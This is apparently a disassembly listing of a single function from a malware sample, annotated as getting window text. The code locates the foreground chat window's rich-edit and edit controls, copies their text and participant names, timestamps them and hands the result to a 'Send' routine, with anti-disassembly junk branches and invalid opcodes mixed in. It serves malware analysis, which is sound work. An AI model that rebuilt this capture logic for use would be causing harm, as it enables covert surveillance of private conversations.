Function at 0x10064ee0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009a386
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x28b8
call fcn.10076300
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jne 0x10064f1e
jmp 0x10065b62
lea eax, [ebp - 0x1dc]
push eax
push 0xff
push 0xd
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
lea edx, [ebp - 0x1dc]
push edx
lea ecx, [ebp - 0x24c]
call fcn.10011f50
mov dword [ebp - 4], 0
je 0x10064f5f
jne 0x10064f5f
call 0x100dd372
add byte [eax], al
je 0x10064f6c
jne 0x10064f6c
jmp 0x10066929
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x74]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x74]
push eax
push str.wcTM7NbQ
call fcn.1003a410
add esp, 8
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x244]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x244]
push ecx
push str.t6LLzc_7z6I
call fcn.1003a410
add esp, 8
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0xdc]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xdc]
push edx
push str.vbvMuNbQ
call fcn.1003a410
add esp, 8
je 0x10064fdc
jne 0x10064fdc
call 0x100dd3ef
add byte [eax], al
je 0x10064fe9
jne 0x10064fe9
jmp 0x55935057
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x24c]
call fcn.10003880
cmp eax, 0xffffffff
jne 0x10065035
push 0
lea ecx, [ebp - 0x244]
push ecx
lea ecx, [ebp - 0x24c]
call fcn.10003880
cmp eax, 0xffffffff
jne 0x10065035
push 0
lea edx, [ebp - 0xdc]
push edx
lea ecx, [ebp - 0x24c]
call fcn.10003880
cmp eax, 0xffffffff
je 0x10065b50
mov eax, dword [ebp - 0x248]
mov dword [0x100e452c], eax
push 0
push str.32770
push 0
mov ecx, dword [0x100e452c]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [0x100e452c], eax
je 0x10065068
jne 0x10065068
call 0x55328def
push cs
adc byte [eax], al
cmp dword [0x100e452c], 0
jne 0x1006507d
mov edx, dword [ebp - 0x248]
mov dword [0x100e452c], edx
mov eax, dword [0x100e452c]
mov dword [ebp - 0x277c], eax
push 0
push str.AfxWnd42
push 0
mov ecx, dword [0x100e452c]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1754], eax
push 0
push str.RICHEDIT
push 0
mov edx, dword [ebp - 0x1754]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [0x100e4528], eax
cmp dword [0x100e4528], 0
jne 0x100650e3
push 0
push str.RichEdit20A
push 0
mov eax, dword [ebp - 0x1754]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [0x100e4528], eax
je 0x100650f0
jne 0x100650f0
call 0x552e8e77
push cs
adc byte [eax], al
cmp dword [0x100e4528], 0
jne 0x10065135
push 0
push str.AfxWnd42
mov ecx, dword [ebp - 0x1754]
push ecx
mov edx, dword [0x100e452c]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1754], eax
push 0
push str.RICHEDIT
push 0
mov eax, dword [ebp - 0x1754]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [0x100e4528], eax
cmp dword [0x100e4528], 0
jne 0x10065159
push 0
push str.RichEdit20A
push 0
mov ecx, dword [ebp - 0x1754]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [0x100e4528], eax
cmp dword [0x100e4528], 0
jne 0x10065179
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
mov ecx, 0x400
xor eax, eax
lea edi, [ebp - 0x2774]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1750], 0xfff
mov dword [ebp - 0x174c], 0
mov dword [ebp - 0x1748], 0
mov dword [ebp - 0x1744], 0
mov dword [ebp - 0x1740], 0
lea edx, [ebp - 0x2774]
push edx
lea eax, [ebp - 0x1750]
push eax
push 0x45e
mov ecx, dword [0x100e4528]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
je 0x100651e7
jne 0x100651e7
call 0xe892e778
invalid
lea edx, [ebp - 0x2774]
push edx
lea ecx, [ebp - 0x2c0]
call fcn.10011f50
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c0]
call fcn.10001bf0
movzx eax, al
test eax, eax
je 0x10065235
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
lea ecx, [ebp - 0x176c]
push ecx
call fcn.100115e0
je 0x1006524e
jne 0x1006524e
call 0x100dd661
add byte [eax], al
je 0x1006525b
jne 0x1006525b
jmp 0x107052c9
push 0
push 0
push 0
mov edx, dword [ebp - 0x277c]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
push 0
push 0
mov eax, dword [ebp - 0x1770]
push eax
mov ecx, dword [ebp - 0x277c]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
mov edx, dword [ebp - 0x1770]
mov dword [ebp - 0x175c], edx
push 0
push str.static
push 0
mov eax, dword [ebp - 0x1770]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
cmp dword [ebp - 0x1770], 0
jne 0x10065350
push 0
push 0
mov ecx, dword [ebp - 0x175c]
push ecx
mov edx, dword [ebp - 0x277c]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
mov eax, dword [ebp - 0x1770]
mov dword [ebp - 0x175c], eax
push 0
push str.static
push 0
mov ecx, dword [ebp - 0x1770]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
cmp dword [ebp - 0x1770], 0
jne 0x10065350
push 0
push 0
mov edx, dword [ebp - 0x175c]
push edx
mov eax, dword [ebp - 0x277c]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
push 0
push str.static
push 0
mov ecx, dword [ebp - 0x1770]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1770], eax
cmp dword [ebp - 0x1770], 0
jne 0x1006537f
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
stc
invalid
jmp 0x10065b62
je 0x1006538c
jne 0x1006538c
call 0x100dd79f
add byte [eax], al
je 0x10065399
jne 0x10065399
jmp 0xc86e5407
push 0
push str.EDIT
push 0
mov edx, dword [ebp - 0x277c]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x2c8], eax
mov byte [ebp - 0x2bc], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x2bb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x2778], 0
cmp dword [ebp - 0x2c8], 0
je 0x1006548f
push 0x64
lea eax, [ebp - 0x2bc]
push eax
mov ecx, dword [ebp - 0x2c8]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x2bc]
mov dword [ebp - 0x2778], edx
mov eax, dword [ebp - 0x2778]
movsx ecx, byte [eax]
test ecx, ecx
je 0x1006548f
mov edx, dword [ebp - 0x2778]
movsx eax, byte [edx]
cmp eax, 0x30
jl 0x1006547b
mov ecx, dword [ebp - 0x2778]
movsx edx, byte [ecx]
cmp edx, 0x39
jg 0x1006547b
push 0x3a
mov eax, dword [ebp - 0x2778]
push eax
call fcn.100784c0
add esp, 8
mov dword [ebp - 0x27f0], eax
cmp dword [ebp - 0x27f0], 0
jne 0x10065467
push 0x3c
mov ecx, dword [ebp - 0x2778]
push ecx
call fcn.100784c0
add esp, 8
mov dword [ebp - 0x27f0], eax
cmp dword [ebp - 0x27f0], 0
je 0x10065479
mov edx, dword [ebp - 0x27f0]
mov byte [edx], 0
jmp 0x1006548f
mov eax, dword [ebp - 0x2778]
add eax, 1
mov dword [ebp - 0x2778], eax
jmp 0x10065407
je 0x1006549c
jne 0x1006549c
call 0x100dd8af
add byte [eax], al
je 0x100654a9
jne 0x100654a9
jmp 0x10066e66
mov ecx, 0x19
xor eax, eax
lea edi, [ebp - 0x27ec]
rep stosd dword es:[edi], eax
push 0x64
lea ecx, [ebp - 0x27ec]
push ecx
mov edx, dword [ebp - 0x1770]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x2c4], 0
push 0x100a3fb4
lea eax, [ebp - 0x27ec]
push eax
call fcn.1005fd50
add esp, 8
mov dword [ebp - 0x1764], eax
cmp dword [ebp - 0x1764], 0
je 0x10065526
mov ecx, dword [ebp - 0x1764]
mov byte [ecx], 0
push 0x28
lea edx, [ebp - 0x27ec]
push edx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x1764]
mov byte [eax], 0x29
jmp 0x10065554
push 0x28
lea ecx, [ebp - 0x27ec]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x2c4], eax
push 0x29
lea edx, [ebp - 0x27ec]
push edx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x1764], eax
mov dword [ebp - 0x1760], 0
push 0x100a3fb0
lea eax, [ebp - 0x27ec]
push eax
call fcn.1005fd50
add esp, 8
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x100655ac
mov ecx, dword [ebp - 0x250]
mov byte [ecx], 0
push 0x3c
lea edx, [ebp - 0x27ec]
push edx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x1760], eax
mov eax, dword [ebp - 0x250]
mov byte [eax], 0x3e
jmp 0x100655da
push 0x3c
lea ecx, [ebp - 0x27ec]
push ecx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x1760], eax
push 0x3e
lea edx, [ebp - 0x27ec]
push edx
call fcn.10001030
add esp, 8
mov dword [ebp - 0x250], eax
je 0x100655e7
jne 0x100655e7
call 0xd43136e
invalid
cmp dword [ebp - 0x2c4], 0
je 0x100655f9
cmp dword [ebp - 0x1764], 0
jne 0x10065613
mov eax, dword [ebp - 0x1760]
mov dword [ebp - 0x2c4], eax
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x1764], ecx
jmp 0x1006564b
cmp dword [ebp - 0x1760], 0
je 0x1006564b
cmp dword [ebp - 0x250], 0
je 0x1006564b
mov edx, dword [ebp - 0x2c4]
cmp edx, dword [ebp - 0x1760]
jbe 0x1006564b
mov eax, dword [ebp - 0x1760]
mov dword [ebp - 0x2c4], eax
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x1764], ecx
cmp dword [ebp - 0x2c4], 0
je 0x1006565d
cmp dword [ebp - 0x1764], 0
jne 0x10065683
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
je 0x10065690
jne 0x10065690
call 0x100ddaa3
add byte [eax], al
je 0x1006569d
jne 0x1006569d
jmp 0xf8a2ec2c
mov edx, dword [ebp - 0x1764]
mov byte [edx], 0
cmp dword [ebp - 0x2c4], 0
je 0x100656be
mov eax, dword [ebp - 0x2c4]
add eax, 1
mov dword [ebp - 0x1764], eax
mov ecx, dword [ebp - 0x2c4]
mov byte [ecx], 0
lea edx, [ebp - 0x27ec]
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x2854]
inc eax
mov dword [ebp - 0x2858], eax
mov ecx, dword [ebp - 0x2854]
mov dl, byte [ecx]
mov byte [ebp - 0x2859], dl
inc dword [ebp - 0x2854]
cmp byte [ebp - 0x2859], 0
jne 0x100656e0
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x2858]
mov dword [ebp - 0x2860], eax
jne 0x10065737
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
lea ecx, [ebp - 0x27ec]
mov dword [ebp - 0x2780], ecx
mov edx, dword [ebp - 0x277c]
push edx
call fcn.10060360
add esp, 4
mov dword [ebp - 0x1758], eax
cmp dword [ebp - 0x1758], 0
jne 0x10065787
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
mov ecx, 0x51b
xor eax, eax
lea edi, [ebp - 0x173c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1738], 2
cmp dword [ebp - 0x1758], 0
je 0x10065811
mov eax, dword [ebp - 0x1758]
mov dword [ebp - 0x2864], eax
mov ecx, dword [ebp - 0x2864]
inc ecx
mov dword [ebp - 0x2868], ecx
mov edx, dword [ebp - 0x2864]
mov al, byte [edx]
mov byte [ebp - 0x2869], al
inc dword [ebp - 0x2864]
cmp byte [ebp - 0x2869], 0
jne 0x100657c2
mov ecx, dword [ebp - 0x2864]
sub ecx, dword [ebp - 0x2868]
mov dword [ebp - 0x2870], ecx
mov ecx, dword [ebp - 0x2870]
mov esi, dword [ebp - 0x1758]
lea edi, [ebp - 0x1734]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x1764], 0
je 0x100658fb
cmp dword [ebp - 0x2780], 0
je 0x100658fb
mov eax, dword [ebp - 0x1764]
mov dword [ebp - 0x2874], eax
mov ecx, dword [ebp - 0x2874]
inc ecx
mov dword [ebp - 0x2878], ecx
mov edx, dword [ebp - 0x2874]
mov al, byte [edx]
mov byte [ebp - 0x2879], al
inc dword [ebp - 0x2874]
cmp byte [ebp - 0x2879], 0
jne 0x10065844
mov ecx, dword [ebp - 0x2874]
sub ecx, dword [ebp - 0x2878]
mov dword [ebp - 0x2880], ecx
mov ecx, dword [ebp - 0x2880]
mov esi, dword [ebp - 0x1764]
lea edi, [ebp - 0x1668]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x2780]
mov dword [ebp - 0x2884], eax
mov ecx, dword [ebp - 0x2884]
inc ecx
mov dword [ebp - 0x2888], ecx
mov edx, dword [ebp - 0x2884]
mov al, byte [edx]
mov byte [ebp - 0x2889], al
inc dword [ebp - 0x2884]
cmp byte [ebp - 0x2889], 0
jne 0x100658ac
mov ecx, dword [ebp - 0x2884]
sub ecx, dword [ebp - 0x2888]
mov dword [ebp - 0x2890], ecx
mov ecx, dword [ebp - 0x2890]
mov esi, dword [ebp - 0x2780]
lea edi, [ebp - 0x1604]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x2774]
mov dword [ebp - 0x2894], eax
mov ecx, dword [ebp - 0x2894]
inc ecx
mov dword [ebp - 0x2898], ecx
mov edx, dword [ebp - 0x2894]
mov al, byte [edx]
mov byte [ebp - 0x2899], al
inc dword [ebp - 0x2894]
cmp byte [ebp - 0x2899], 0
jne 0x10065914
mov ecx, dword [ebp - 0x2894]
sub ecx, dword [ebp - 0x2898]
mov dword [ebp - 0x28a0], ecx
je 0x100659ad
lea edx, [ebp - 0x2774]
mov dword [ebp - 0x28a4], edx
mov eax, dword [ebp - 0x28a4]
inc eax
mov dword [ebp - 0x28a8], eax
mov ecx, dword [ebp - 0x28a4]
mov dl, byte [ecx]
mov byte [ebp - 0x28a9], dl
inc dword [ebp - 0x28a4]
cmp byte [ebp - 0x28a9], 0
jne 0x1006595e
mov eax, dword [ebp - 0x28a4]
sub eax, dword [ebp - 0x28a8]
mov dword [ebp - 0x28b0], eax
mov ecx, dword [ebp - 0x28b0]
lea esi, [ebp - 0x2774]
lea edi, [ebp - 0x14a6]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x2778], 0
je 0x10065a2b
mov eax, dword [ebp - 0x2778]
movsx ecx, byte [eax]
test ecx, ecx
je 0x10065a2b
mov edx, dword [ebp - 0x2778]
mov dword [ebp - 0x28b4], edx
mov eax, dword [ebp - 0x28b4]
inc eax
mov dword [ebp - 0x28b8], eax
mov ecx, dword [ebp - 0x28b4]
mov dl, byte [ecx]
mov byte [ebp - 0x28b9], dl
inc dword [ebp - 0x28b4]
cmp byte [ebp - 0x28b9], 0
jne 0x100659dc
mov eax, dword [ebp - 0x28b4]
sub eax, dword [ebp - 0x28b8]
mov dword [ebp - 0x28c0], eax
mov ecx, dword [ebp - 0x28c0]
mov esi, dword [ebp - 0x2778]
lea edi, [ebp - 0x3b4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
je 0x10065a38
jne 0x10065a38
call 0x100dde4b
add byte [eax], al
je 0x10065a45
jne 0x10065a45
jmp 0x19db6ab1
push str._Y__m__d__H:_M:_S
lea eax, [ebp - 0x27f4]
push eax
lea ecx, [ebp - 0x176c]
call fcn.10012140
mov dword [ebp - 0x28c4], eax
mov ecx, dword [ebp - 0x28c4]
mov edx, dword [ecx]
push edx
push 0x1009cc2c
lea eax, [ebp - 0x4a6]
push eax
call fcn.10077098
add esp, 0xc
lea ecx, [ebp - 0x27f4]
call fcn.10002010
je 0x10065a97
jne 0x10065a97
call 0xf21e981e
adc byte [eax], dl
add byte [esi + edx - 0x75], dh
or eax, 0x1010e218
cmp dword [0x1010e218], 0
je 0x10065ab6
mov ecx, dword [0x1010e218]
and ecx, 1
je 0x10065ab6
mov edx, dword [0x1010e218]
and edx, 4
je 0x10065aca
push section..inidata
lea eax, [ebp - 0x173c]
push eax
call fcn.10061090
add esp, 8
je 0x10065ad7
jne 0x10065ad7
call 0x100ddeea
add byte [eax], al
je 0x10065ae4
jne 0x10065ae4
jmp 0xf21e6873
mov ecx, dword [0x1010e218]
and ecx, 1
je 0x10065b2d
cmp dword [0x1010e330], 0
jne 0x10065b2d
push str.Send
lea edx, [ebp - 0x14a6]
push edx
lea eax, [ebp - 0x1604]
push eax
lea ecx, [ebp - 0x1668]
push ecx
lea edx, [ebp - 0x16cc]
push edx
lea eax, [ebp - 0x1734]
push eax
push 0x3e9
call fcn.10001000
add esp, 0x1c
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
call fcn.10002010
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
jmp 0x10065b62
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.10002010
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop es
invalid
add al, 0xd9
invalid